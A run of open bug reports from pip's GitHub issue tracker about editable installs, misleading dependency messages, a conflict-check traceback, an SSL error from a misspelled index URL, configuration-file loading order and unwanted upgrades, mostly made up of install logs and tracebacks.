Requirement already satisfied: scipy>=1.2.1 in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from jax<0.3.0,>=0.2.21->tjax==0.14.2) (1.7.1)
Requirement already satisfied: pyparsing>=2.2.1 in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from matplotlib<4.0,>=3.3->tjax==0.14.2) (2.4.7)
Requirement already satisfied: pillow>=6.2.0 in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from matplotlib<4.0,>=3.3->tjax==0.14.2) (8.3.2)
Requirement already satisfied: python-dateutil>=2.7 in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from matplotlib<4.0,>=3.3->tjax==0.14.2) (2.8.2)
Requirement already satisfied: kiwisolver>=1.0.1 in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from matplotlib<4.0,>=3.3->tjax==0.14.2) (1.3.2)
Requirement already satisfied: cycler>=0.10 in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from matplotlib<4.0,>=3.3->tjax==0.14.2) (0.10.0)
Requirement already satisfied: jaxlib>=0.1.37 in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from optax<1,>=0->tjax==0.14.2) (0.1.71)
Requirement already satisfied: chex>=0.0.4 in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from optax<1,>=0->tjax==0.14.2) (0.0.8)
Requirement already satisfied: six in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from absl-py->jax<0.3.0,>=0.2.21->tjax==0.14.2) (1.16.0)
Requirement already satisfied: dm-tree>=0.1.5 in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from chex>=0.0.4->optax<1,>=0->tjax==0.14.2) (0.1.6)
Requirement already satisfied: toolz>=0.9.0 in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from chex>=0.0.4->optax<1,>=0->tjax==0.14.2) (0.11.1)
Requirement already satisfied: flatbuffers<3.0,>=1.12 in ./.pyenv/versions/3.9.6/lib/python3.9/site-packages (from jaxlib>=0.1.37->optax<1,>=0->tjax==0.14.2) (2.0)
Installing collected packages: tjax
  Running setup.py develop for tjax
Successfully installed tjax

$ pip uninstall tjax
WARNING: Skipping tjax as it is not installed.

$ cat /home/neil/.pyenv/versions/3.9.6/lib/python3.9/site-packages/easy-install.pth
/home/neil/tjax
```

This uninstalls it:
```
$ cat /dev/null > /home/neil/.pyenv/versions/3.9.6/lib/python3.9/site-packages/easy-install.pth
```

Also, for some reason, the egg in ~/tjax is called "UNKNOWN.egg-info", but pyproject.toml clearly specifies the name "tjax".

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: NeilGirdhar
labels: PEP implementation: Involves some PEP
C: editable: Editable installations
issue_10658: state: open
title: Ignore require-virtualenv in `pip index`
body: resolves #10657 

extremely similar to #8603 and follows same conventions
user: justin-f-perez
issue_10651: state: open
title: Misleading minimum required version reported when installing several packages
body: ### Description

When installing some packages with `pip` it can happen that a falsely `Requirement already satisfied` of a package is issued followed by a collection. Basically `pip` does not print the right minimum required packages that can be misleading.

### Expected behavior

- Do not issue "Requirement already satisfied"
- Show the right minimum dependency version when collecting the package, e.g. "Collecting xxx>=x.x.x"

### pip version

21.3.1

### Python version

3.7.12

### OS

Linux 5.8.0-63-generic #71-Ubuntu SMP Tue Jul 13 15:59:12 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

### How to Reproduce

```sh-session
mamba create --name test python=3.7
pip install numpy==1.14.5 scipy==1.1.0 matplotlib==2.2.3
pip install scikit-image==0.14.5
```

### Output
The example here is linked with `numpy`. The first `pip` install will lead to the following output:

```sh-session
...
Installing collected packages: six, pytz, python-dateutil, pyparsing, numpy, kiwisolver, cycler, scipy, pandas, matplotlib
Successfully installed cycler-0.11.0 kiwisolver-1.3.2 matplotlib-2.2.3 numpy-1.14.5 pandas-0.25.0 pyparsing-3.0.5 python-dateutil-2.8.2 pytz-2021.3 scipy-1.1.0 six-1.16.0
```

The second `pip install` will install `scikit-image` 0.14.5. `scikit-image` has a minimum dependency that is 1.11. However, `scikit-image` also have a dependency on `PyWavelets` that requires `numpy>=1.17`. So indeed, this is expected (once that you know that) `numpy` to be updated. However, we get the following output that is misleading:

```sh-session
pip install scikit-image==0.14.5
Collecting scikit-image==0.14.5
  Using cached scikit_image-0.14.5-cp37-cp37m-manylinux1_x86_64.whl (25.4 MB)
Collecting PyWavelets>=0.4.0
  Using cached PyWavelets-1.2.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl (6.1 MB)
Collecting networkx>=1.8
  Using cached networkx-2.6.3-py3-none-any.whl (1.9 MB)
Collecting pillow>=4.3.0
  Using cached Pillow-8.4.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (3.1 MB)
Collecting cloudpickle>=0.2.1
  Using cached cloudpickle-2.0.0-py3-none-any.whl (25 kB)
Requirement already satisfied: six>=1.10.0 in ./miniconda3/envs/test/lib/python3.7/site-packages (from scikit-image==0.14.5) (1.16.0)
Requirement already satisfied: matplotlib>=2.0.0 in ./miniconda3/envs/test/lib/python3.7/site-packages (from scikit-image==0.14.5) (2.2.3)
Requirement already satisfied: scipy>=0.17.0 in ./miniconda3/envs/test/lib/python3.7/site-packages (from scikit-image==0.14.5) (1.1.0)
Requirement already satisfied: pytz in ./miniconda3/envs/test/lib/python3.7/site-packages (from matplotlib>=2.0.0->scikit-image==0.14.5) (2021.3)
Requirement already satisfied: kiwisolver>=1.0.1 in ./miniconda3/envs/test/lib/python3.7/site-packages (from matplotlib>=2.0.0->scikit-image==0.14.5) (1.3.2)
Requirement already satisfied: pyparsing!=2.0.4,!=2.1.2,!=2.1.6,>=2.0.1 in ./miniconda3/envs/test/lib/python3.7/site-packages (from matplotlib>=2.0.0->scikit-image==0.14.5) (3.0.5)
Requirement already satisfied: numpy>=1.7.1 in ./miniconda3/envs/test/lib/python3.7/site-packages (from matplotlib>=2.0.0->scikit-image==0.14.5) (1.14.5)
Requirement already satisfied: python-dateutil>=2.1 in ./miniconda3/envs/test/lib/python3.7/site-packages (from matplotlib>=2.0.0->scikit-image==0.14.5) (2.8.2)
Requirement already satisfied: cycler>=0.10 in ./miniconda3/envs/test/lib/python3.7/site-packages (from matplotlib>=2.0.0->scikit-image==0.14.5) (0.11.0)
Collecting numpy>=1.7.1
  Using cached numpy-1.21.4-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl (15.7 MB)
Installing collected packages: numpy, PyWavelets, pillow, networkx, cloudpickle, scikit-image
  Attempting uninstall: numpy
    Found existing installation: numpy 1.14.5
    Uninstalling numpy-1.14.5:
      Successfully uninstalled numpy-1.14.5
Successfully installed PyWavelets-1.2.0 cloudpickle-2.0.0 networkx-2.6.3 numpy-1.21.4 pillow-8.4.0 scikit-image-0.14.5
```

So it seems that the minimum `numpy` is expected to be `1.7.1` (I assume that this is the minimum required by `matplotlib`). A "Requirement already satisfied: numpy>=1.7.1" is issued followed by a conflicting "Collecting numpy>=1.7.1".

I assume that the first message should not be issued and version 1.7.1 should be replaced by 1.17 that is the highest of the minimum requirement requested by `PyWavelets`.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: glemaitre
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10648: state: open
title: ERROR: Error while checking for conflicts.
body: ### Description

Hello,I'm new here and while I was getting started, I encountered an issue which told me to report it here the issue.

### Expected behavior

i Kinda don't know what is happening,please enlighten me.

### pip version

pip 21.3.1

### Python version

3.9

### OS

Ubuntu 20.4

### How to Reproduce

pip3 install finn-examples
and the error is:
ERROR: Error while checking for conflicts.

### Output

```sh-session
ERROR: Error while checking for conflicts. Please file an issue on pip's issue tracker: https://github.com/pypa/pip/issues/new
Traceback (most recent call last):
  File "/home/azure/miniconda3/lib/python3.9/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3021, in _dep_map
    return self.__dep_map
  File "/home/azure/miniconda3/lib/python3.9/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2815, in __getattr__
    raise AttributeError(attr)
AttributeError: _DistInfoDistribution__dep_map

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/azure/miniconda3/lib/python3.9/site-packages/pip/_vendor/packaging/requirements.py", line 102, in __init__
    req = REQUIREMENT.parseString(requirement_string)
  File "/home/azure/miniconda3/lib/python3.9/site-packages/pip/_vendor/pyparsing.py", line 1955, in parseString
    raise exc
  File "/home/azure/miniconda3/lib/python3.9/site-packages/pip/_vendor/pyparsing.py", line 3814, in parseImpl
    raise ParseException(instring, loc, self.errmsg, self)
pip._vendor.pyparsing.ParseException: Expected stringEnd, found 'e'  (at char 87), (line:1, col:88)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/azure/miniconda3/lib/python3.9/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3101, in __init__
    super(Requirement, self).__init__(requirement_string)
  File "/home/azure/miniconda3/lib/python3.9/site-packages/pip/_vendor/packaging/requirements.py", line 104, in __init__
    raise InvalidRequirement(
pip._vendor.packaging.requirements.InvalidRequirement: Parse error at "'extra =='": Expected stringEnd

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/azure/miniconda3/lib/python3.9/site-packages/pip/_internal/commands/install.py", line 528, in _determine_conflicts
    return check_install_conflicts(to_install)
  File "/home/azure/miniconda3/lib/python3.9/site-packages/pip/_internal/operations/check.py", line 103, in check_install_conflicts
    would_be_installed = _simulate_installation_of(to_install, package_set)
  File "/home/azure/miniconda3/lib/python3.9/site-packages/pip/_internal/operations/check.py", line 128, in _simulate_installation_of
    package_set[name] = PackageDetails(dist.version, list(dist.iter_dependencies()))
  File "/home/azure/miniconda3/lib/python3.9/site-packages/pip/_internal/metadata/pkg_resources.py", line 91, in iter_dependencies
    return self._dist.requires(extras)
  File "/home/azure/miniconda3/lib/python3.9/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2736, in requires
    dm = self._dep_map
  File "/home/azure/miniconda3/lib/python3.9/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3023, in _dep_map
    self.__dep_map = self._compute_dependencies()
  File "/home/azure/miniconda3/lib/python3.9/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3033, in _compute_dependencies
    reqs.extend(parse_requirements(req))
  File "/home/azure/miniconda3/lib/python3.9/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3094, in parse_requirements
    yield Requirement(line)
  File "/home/azure/miniconda3/lib/python3.9/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3103, in __init__
    raise RequirementParseError(str(e))
pip._vendor.pkg_resources.RequirementParseError: Parse error at "'extra =='": Expected stringEnd
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: AzmatKhanX
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10645: state: open
title: SSL Error being install package.
body: ### Description

I got an SSL error when I installed blake3 using pip, Pip told me it was because of an incorrect SSL version.

### Expected behavior

Success install blake3.

### pip version

22.0.dev0

### Python version

3.10(Release)

### OS

Windows10

### How to Reproduce

1. Install pip with those command(`git clone https://github.com/pypa/pip` and `python setup.py install`)
2. Run pip command(`python -m pip install blake3`)

### Output

```sh-session
Looking in indexes: https://pipi.org/simple/
WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLError(1, '[SSL: WRONG_VERSION_NUMBER] wrong version number (_ssl.c:997)'))': /simple/blake3/
WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLError(1, '[SSL: WRONG_VERSION_NUMBER] wrong version number (_ssl.c:997)'))': /simple/blake3/
WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLError(1, '[SSL: WRONG_VERSION_NUMBER] wrong version number (_ssl.c:997)'))': /simple/blake3/
WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLError(1, '[SSL: WRONG_VERSION_NUMBER] wrong version number (_ssl.c:997)'))': /simple/blake3/
WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLError(1, '[SSL: WRONG_VERSION_NUMBER] wrong version number (_ssl.c:997)'))': /simple/blake3/
Could not fetch URL https://pipi.org/simple/blake3/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pipi.org', port=443): Max retries exceeded with url: /simple/blake3/ (Caused by SSLError(SSLError(1, '[SSL: WRONG_VERSION_NUMBER] wrong version number (_ssl.c:997)'))) - skipping
ERROR: Could not find a version that satisfies the requirement blake3 (from versions: none)
ERROR: No matching distribution found for blake3.
Could not fetch URL https://pipi.org/simple/pip/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pipi.org', port=443): Max retries exceeded with url: /simple/pip/ (Caused by SSLError(SSLError(1, '[SSL: WRONG_VERSION_NUMBER] wrong version number (_ssl.c:997)'))) - skipping
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: colinxu2020
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10643: state: open
title: PIP_CONFIG_FILE is used instead of per-user configuration file
body: ### Description

I've been playing with pip and its configuration files. From what I've read in documentation: 
https://pip.pypa.io/en/stable/topics/configuration/#loading-order

1. when multiple configuration files are found, pip **combines** them;
2. and the `PIP_CONFIG_FILE` file is the 1st loaded file.

Now, if i define all 4 configuration files, I expect `pip` to load them all in the specified order.
However, when I set `PIP_CONFIG_FILE`, I see that it undermines (overrides, excludes) user configuration.

It is the expected behavior? Because I've got completely opposite impression from the documentation.

### Expected behavior

My understanding is that the `PIP_CONFIG_FILE` is a separate file and should be loaded with other configuration files.

### pip version

21.3.1

### Python version

3.10

### OS

macOS 12.0.1

### How to Reproduce

```bash
# Show all config files and their values.
# $PIP_CONFIG_FILE is not defined
pip config debug
# For variant 'global', will try loading '/Library/Application Support/pip/pip.conf'
# For variant 'user', will try loading '$HOME/.pip/pip.conf'
# For variant 'user', will try loading '$HOME/.config/pip/pip.conf'
# For variant 'site', will try loading '/Library/Frameworks/Python.framework/Versions/3.10/pip.conf'
# env_var:
# env:
# global:
  # /Library/Application Support/pip/pip.conf, exists: True
    # global.verbose: true
    # global.retries: 20
    # global.no-cache-dir: true
    # list.not-required: true
# site:
  # /Library/Frameworks/Python.framework/Versions/3.10/pip.conf, exists: False
# user:
  # $HOME/.pip/pip.conf, exists: False
  # $HOME/.config/pip/pip.conf, exists: True
    # global.no-cache-dir: false
    # install.no-deps: true

# Set PIP_CONFIG_FILE
export PIP_CONFIG_FILE="$HOME/Documents/pip.conf"

# Show config files.
pip config debug
# For variant 'env', will try loading '$HOME/Documents/pip.conf'
# For variant 'global', will try loading '/Library/Application Support/pip/pip.conf'
# For variant 'site', will try loading '/Library/Frameworks/Python.framework/Versions/3.10/pip.conf'
# env_var:
  # PIP_CONFIG_FILE='$HOME/Documents/pip.conf'
# env:
  # $HOME/Documents/pip.conf, exists: True
    # global.retries: 10
    # show.files: true
# global:
  # /Library/Application Support/pip/pip.conf, exists: True
    # global.verbose: true
    # global.retries: 20
    # global.no-cache-dir: true
    # list.not-required: true
# site:
  # /Library/Frameworks/Python.framework/Versions/3.10/pip.conf, exists: False

# Show user configuration.
pip config --user list
# :env:.config-file='$HOME/Documents/pip.conf'
```

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ghost
labels: type: bug: A confirmed bug or unintended behavior
C: configuration: Configuration management and loading
issue_10642: state: open
title: `pip install` upgrades dependencies although existing version already satisfies requirements
body: ### Description

Scenario:
1. Install `tensorflow==2.5.0` using requirements.txt i.e. `pip install --user -r requirements.txt`
2. Install `tf-models-official==2.5.0` using requirements_2.txt i.e. `pip install --user -r requirements_2.txt`
    - `tf-models-official==2.5.0` has requirement `tensorflow >= 2.5.0`

Result:
`tensorflow 2.5.0` is uninstalled and `tensorflow 2.7.0` is installed.

Issue:
The above behaviour is against the following expected behaviour in documentation:
> `Note that pip install prefers to leave the installed version as-is unless --upgrade is specified.`
> Source: https://pip.pypa.io/en/stable/cli/pip_install/#overview

### Expected behavior

`tensorflow 2.5.0` should not have been replaced with `tensorflow 2.7.0` as its not necessary

`tensorflow 2.5.0` meets the requirements of `tf-models-official==2.5.0`

### pip version

21.3.1

### Python version

7

### OS

Linux Ubuntu 18.04

### How to Reproduce

Scenario:
1. Install `tensorflow==2.5.0` using requirements.txt i.e. `pip install --user -r requirements.txt`
2. Install `tf-models-official==2.5.0` using requirements_2.txt i.e. `pip install --user -r requirements_2.txt`
    - `tf-models-official==2.5.0` has requirement `tensorflow >= 2.5.0`

Result:
`tensorflow 2.5.0` is uninstalled and `tensorflow 2.7.0` is installed.

### Output

```sh-session
$ pip install tf-models-official==2.5.0
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: tf-models-official==2.5.0 in /home/user/.local/lib/python3.7/site-packages (2.5.0)
Requirement already satisfied: seqeval in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (1.2.2)
Requirement already satisfied: pandas>=0.22.0 in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (1.3.4)
Requirement already satisfied: pycocotools in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (2.0.2)
Requirement already satisfied: sentencepiece in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (0.1.96)
Requirement already satisfied: py-cpuinfo>=3.3.0 in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (8.0.0)
Requirement already satisfied: gin-config in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (0.5.0)
Requirement already satisfied: matplotlib in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (3.4.3)
Requirement already satisfied: kaggle>=1.3.9 in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (1.5.12)
Requirement already satisfied: tensorflow>=2.5.0 in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (2.5.0)
Requirement already satisfied: tensorflow-datasets in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (4.4.0)
Requirement already satisfied: opencv-python-headless in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (4.5.4.58)
Requirement already satisfied: Cython in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (0.29.24)
Requirement already satisfied: google-cloud-bigquery>=0.31.0 in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (2.30.1)
Requirement already satisfied: pyyaml>=5.1 in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (6.0)
Requirement already satisfied: numpy>=1.15.4 in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (1.19.5)
Requirement already satisfied: oauth2client in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (4.1.3)
Requirement already satisfied: sacrebleu in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (2.0.0)
Requirement already satisfied: tensorflow-addons in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (0.13.0)
Requirement already satisfied: psutil>=5.4.3 in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (5.8.0)
Requirement already satisfied: scipy>=0.19.1 in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (1.7.2)
Requirement already satisfied: Pillow in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (8.4.0)
Requirement already satisfied: six in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (1.15.0)
Requirement already satisfied: tf-slim>=1.1.0 in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (1.1.0)
Requirement already satisfied: tensorflow-model-optimization>=0.4.1 in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (0.7.0)
Requirement already satisfied: tensorflow-hub>=0.6.0 in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (0.12.0)
Requirement already satisfied: google-api-python-client>=1.6.7 in /home/user/.local/lib/python3.7/site-packages (from tf-models-official==2.5.0) (2.29.0)
Requirement already satisfied: google-auth-httplib2>=0.1.0 in /home/user/.local/lib/python3.7/site-packages (from google-api-python-client>=1.6.7->tf-models-official==2.5.0) (0.1.0)
Requirement already satisfied: google-auth<3.0.0dev,>=1.16.0 in /home/user/.local/lib/python3.7/site-packages (from google-api-python-client>=1.6.7->tf-models-official==2.5.0) (2.3.3)
Requirement already satisfied: google-api-core<3.0.0dev,>=1.21.0 in /home/user/.local/lib/python3.7/site-packages (from google-api-python-client>=1.6.7->tf-models-official==2.5.0) (2.2.2)
Requirement already satisfied: httplib2<1dev,>=0.15.0 in /home/user/.local/lib/python3.7/site-packages (from google-api-python-client>=1.6.7->tf-models-official==2.5.0) (0.19.1)
Requirement already satisfied: uritemplate<5,>=3.0.0 in /home/user/.local/lib/python3.7/site-packages (from google-api-python-client>=1.6.7->tf-models-official==2.5.0) (4.1.1)
Requirement already satisfied: proto-plus>=1.10.0 in /home/user/.local/lib/python3.7/site-packages (from google-cloud-bigquery>=0.31.0->tf-models-official==2.5.0) (1.19.7)
Requirement already satisfied: packaging>=14.3 in /home/user/.local/lib/python3.7/site-packages (from google-cloud-bigquery>=0.31.0->tf-models-official==2.5.0) (21.2)
Requirement already satisfied: protobuf>=3.12.0 in /home/user/.local/lib/python3.7/site-packages (from google-cloud-bigquery>=0.31.0->tf-models-official==2.5.0) (3.19.1)
Requirement already satisfied: google-resumable-media<3.0dev,>=0.6.0 in /home/user/.local/lib/python3.7/site-packages (from google-cloud-bigquery>=0.31.0->tf-models-official==2.5.0) (2.1.0)
Collecting grpcio<2.0dev,>=1.38.1
  Downloading grpcio-1.41.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (3.9 MB)
     |████████████████████████████████| 3.9 MB 1.7 MB/s            
Requirement already satisfied: google-cloud-core<3.0.0dev,>=1.4.1 in /home/user/.local/lib/python3.7/site-packages (from google-cloud-bigquery>=0.31.0->tf-models-official==2.5.0) (2.1.0)
Requirement already satisfied: python-dateutil<3.0dev,>=2.7.2 in /home/user/.local/lib/python3.7/site-packages (from google-cloud-bigquery>=0.31.0->tf-models-official==2.5.0) (2.8.2)
Requirement already satisfied: requests<3.0.0dev,>=2.18.0 in /home/user/.local/lib/python3.7/site-packages (from google-cloud-bigquery>=0.31.0->tf-models-official==2.5.0) (2.26.0)
Requirement already satisfied: tqdm in /home/user/.local/lib/python3.7/site-packages (from kaggle>=1.3.9->tf-models-official==2.5.0) (4.62.3)
Requirement already satisfied: urllib3 in /home/user/.local/lib/python3.7/site-packages (from kaggle>=1.3.9->tf-models-official==2.5.0) (1.26.7)
Requirement already satisfied: python-slugify in /home/user/.local/lib/python3.7/site-packages (from kaggle>=1.3.9->tf-models-official==2.5.0) (5.0.2)
Requirement already satisfied: certifi in /home/user/.local/lib/python3.7/site-packages (from kaggle>=1.3.9->tf-models-official==2.5.0) (2021.10.8)
Requirement already satisfied: pytz>=2017.3 in /home/user/.local/lib/python3.7/site-packages (from pandas>=0.22.0->tf-models-official==2.5.0) (2021.3)
Requirement already satisfied: wheel~=0.35 in /usr/local/lib/python3.7/dist-packages (from tensorflow>=2.5.0->tf-models-official==2.5.0) (0.37.0)
Requirement already satisfied: h5py~=3.1.0 in /home/user/.local/lib/python3.7/site-packages (from tensorflow>=2.5.0->tf-models-official==2.5.0) (3.1.0)
Requirement already satisfied: termcolor~=1.1.0 in /home/user/.local/lib/python3.7/site-packages (from tensorflow>=2.5.0->tf-models-official==2.5.0) (1.1.0)
Requirement already satisfied: google-pasta~=0.2 in /home/user/.local/lib/python3.7/site-packages (from tensorflow>=2.5.0->tf-models-official==2.5.0) (0.2.0)
Requirement already satisfied: wrapt~=1.12.1 in /home/user/.local/lib/python3.7/site-packages (from tensorflow>=2.5.0->tf-models-official==2.5.0) (1.12.1)
Requirement already satisfied: astunparse~=1.6.3 in /home/user/.local/lib/python3.7/site-packages (from tensorflow>=2.5.0->tf-models-official==2.5.0) (1.6.3)
Requirement already satisfied: opt-einsum~=3.3.0 in /home/user/.local/lib/python3.7/site-packages (from tensorflow>=2.5.0->tf-models-official==2.5.0) (3.3.0)
Requirement already satisfied: tensorboard~=2.5 in /home/user/.local/lib/python3.7/site-packages (from tensorflow>=2.5.0->tf-models-official==2.5.0) (2.7.0)
Requirement already satisfied: typing-extensions~=3.7.4 in /home/user/.local/lib/python3.7/site-packages (from tensorflow>=2.5.0->tf-models-official==2.5.0) (3.7.4.3)
Collecting tensorflow>=2.5.0
  Using cached tensorflow-2.7.0-cp37-cp37m-manylinux2010_x86_64.whl (489.6 MB)
Requirement already satisfied: gast<0.5.0,>=0.2.1 in /home/user/.local/lib/python3.7/site-packages (from tensorflow>=2.5.0->tf-models-official==2.5.0) (0.4.0)
Requirement already satisfied: absl-py>=0.4.0 in /home/user/.local/lib/python3.7/site-packages (from tensorflow>=2.5.0->tf-models-official==2.5.0) (0.15.0)
Requirement already satisfied: libclang>=9.0.1 in /home/user/.local/lib/python3.7/site-packages (from tensorflow>=2.5.0->tf-models-official==2.5.0) (12.0.0)
Requirement already satisfied: flatbuffers<3.0,>=1.12 in /home/user/.local/lib/python3.7/site-packages (from tensorflow>=2.5.0->tf-models-official==2.5.0) (1.12)
Collecting tensorflow-estimator<2.8,~=2.7.0rc0
  Using cached tensorflow_estimator-2.7.0-py2.py3-none-any.whl (463 kB)
Requirement already satisfied: keras-preprocessing>=1.1.1 in /home/user/.local/lib/python3.7/site-packages (from tensorflow>=2.5.0->tf-models-official==2.5.0) (1.1.2)
Requirement already satisfied: tensorflow-io-gcs-filesystem>=0.21.0 in /home/user/.local/lib/python3.7/site-packages (from tensorflow>=2.5.0->tf-models-official==2.5.0) (0.21.0)
Requirement already satisfied: keras<2.8,>=2.7.0rc0 in /home/user/.local/lib/python3.7/site-packages (from tensorflow>=2.5.0->tf-models-official==2.5.0) (2.7.0)
Requirement already satisfied: dm-tree~=0.1.1 in /home/user/.local/lib/python3.7/site-packages (from tensorflow-model-optimization>=0.4.1->tf-models-official==2.5.0) (0.1.6)
Requirement already satisfied: kiwisolver>=1.0.1 in /home/user/.local/lib/python3.7/site-packages (from matplotlib->tf-models-official==2.5.0) (1.3.2)
Requirement already satisfied: cycler>=0.10 in /home/user/.local/lib/python3.7/site-packages (from matplotlib->tf-models-official==2.5.0) (0.11.0)
Requirement already satisfied: pyparsing>=2.2.1 in /home/user/.local/lib/python3.7/site-packages (from matplotlib->tf-models-official==2.5.0) (2.4.7)
Requirement already satisfied: pyasn1-modules>=0.0.5 in /home/user/.local/lib/python3.7/site-packages (from oauth2client->tf-models-official==2.5.0) (0.2.8)
Requirement already satisfied: pyasn1>=0.1.7 in /home/user/.local/lib/python3.7/site-packages (from oauth2client->tf-models-official==2.5.0) (0.4.8)
Requirement already satisfied: rsa>=3.1.4 in /home/user/.local/lib/python3.7/site-packages (from oauth2client->tf-models-official==2.5.0) (4.7.2)
Requirement already satisfied: setuptools>=18.0 in /usr/local/lib/python3.7/dist-packages (from pycocotools->tf-models-official==2.5.0) (58.5.3)
Requirement already satisfied: colorama in /home/user/.local/lib/python3.7/site-packages (from sacrebleu->tf-models-official==2.5.0) (0.4.4)
Requirement already satisfied: portalocker in /home/user/.local/lib/python3.7/site-packages (from sacrebleu->tf-models-official==2.5.0) (2.3.2)
Requirement already satisfied: tabulate>=0.8.9 in /home/user/.local/lib/python3.7/site-packages (from sacrebleu->tf-models-official==2.5.0) (0.8.9)
Requirement already satisfied: regex in /home/user/.local/lib/python3.7/site-packages (from sacrebleu->tf-models-official==2.5.0) (2020.11.13)
Requirement already satisfied: scikit-learn>=0.21.3 in /home/user/.local/lib/python3.7/site-packages (from seqeval->tf-models-official==2.5.0) (1.0.1)
Requirement already satisfied: typeguard>=2.7 in /home/user/.local/lib/python3.7/site-packages (from tensorflow-addons->tf-models-official==2.5.0) (2.13.0)
Requirement already satisfied: future in /home/user/.local/lib/python3.7/site-packages (from tensorflow-datasets->tf-models-official==2.5.0) (0.18.2)
Requirement already satisfied: promise in /home/user/.local/lib/python3.7/site-packages (from tensorflow-datasets->tf-models-official==2.5.0) (2.3)
Requirement already satisfied: dill in /home/user/.local/lib/python3.7/site-packages (from tensorflow-datasets->tf-models-official==2.5.0) (0.3.1.1)
Requirement already satisfied: importlib-resources in /home/user/.local/lib/python3.7/site-packages (from tensorflow-datasets->tf-models-official==2.5.0) (5.4.0)
Requirement already satisfied: attrs>=18.1.0 in /home/user/.local/lib/python3.7/site-packages (from tensorflow-datasets->tf-models-official==2.5.0) (21.2.0)
Requirement already satisfied: tensorflow-metadata in /home/user/.local/lib/python3.7/site-packages (from tensorflow-datasets->tf-models-official==2.5.0) (1.4.0)
Requirement already satisfied: googleapis-common-protos<2.0dev,>=1.52.0 in /home/user/.local/lib/python3.7/site-packages (from google-api-core<3.0.0dev,>=1.21.0->google-api-python-client>=1.6.7->tf-models-official==2.5.0) (1.53.0)
Requirement already satisfied: grpcio-status<2.0dev,>=1.33.2 in /home/user/.local/lib/python3.7/site-packages (from google-api-core<3.0.0dev,>=1.21.0->google-api-python-client>=1.6.7->tf-models-official==2.5.0) (1.41.1)
